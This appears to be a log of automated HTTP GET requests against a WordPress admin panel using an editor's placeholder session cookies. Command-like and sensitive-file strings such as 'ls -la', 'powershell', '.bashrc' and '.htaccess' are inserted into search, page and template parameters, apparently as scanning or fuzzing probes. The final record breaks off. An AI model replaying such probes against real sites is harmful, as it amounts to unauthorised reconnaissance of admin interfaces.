{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=post_tag&s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214703"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?search=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214703"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-install.php?search=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214703"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?search=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214703"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=ajax-tag-search&tax=post_tag&q=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/post.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214704"], "body": ""}
{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2Fedit.php%3Fs%3Dpython3&reauth=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214704"], "body": ""}
{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2Fedit.php%3Fs%3Dpowershell&reauth=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin.php?page=menu-.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251825"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin.php?page=menu-example-settings", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251825"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin.php?page=menu-ls%20-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin.php?page=menu-powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin.php?page=menu-python3-tools", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-general.php?page=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-general.php?page=example-settings", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-general.php?page=ls%20-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-general.php?page=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-general.php?page=python3-tools", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""}
{"method": "GET", "target": "/wp-admin/tools.php?page=tools-.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""}
{"method": "GET", "target": "/wp-admin/tools.php?page=tools-example-settings", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""}
{"method": "GET", "target": "/wp-admin/tools.php?page=tools-ls%20-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""}
{"method": "GET", "target": "/wp-admin/tools.php?page=tools-powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""}
{"method": "GET", "target": "/wp-admin/tools.php?page=tools-python3-tools", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""}
{"method": "GET", "target": "/wp-admin/site-editor.php?postType=wp_template&postId=python3-theme//single&canvas=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251828"], "body": ""}
{"method": "GET", "target": "/wp-admin/site-editor.php?canvas=edit&p=/wp_template/python3-theme//single", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251828"], "body": ""}
{"method": "GET", "target": "/wp-admin/site-editor.php?p=%2Fwp_template%2Fpython3-theme%2F%2Findex&canvas=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251828"], "body": ""}
{"method": "GET", "target": "/wp-admin/site-editor.php?p=%2Fwp_template%2Fpython3-theme%2F%2Fpowershell-page&canvas=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251831"], "body": ""}
{"method": "GET", "target": "/wp-admin/site-editor.php?postType=wp_template&postId=python3-theme%2F%2Fpowershell-page&canvas=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251835"], "body": ""}
{"method": "GET", "target": "/wp-admin/site-editor.php?canvas=edit&p=/wp_template/python3-theme//powershell-page", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251835"], "body": 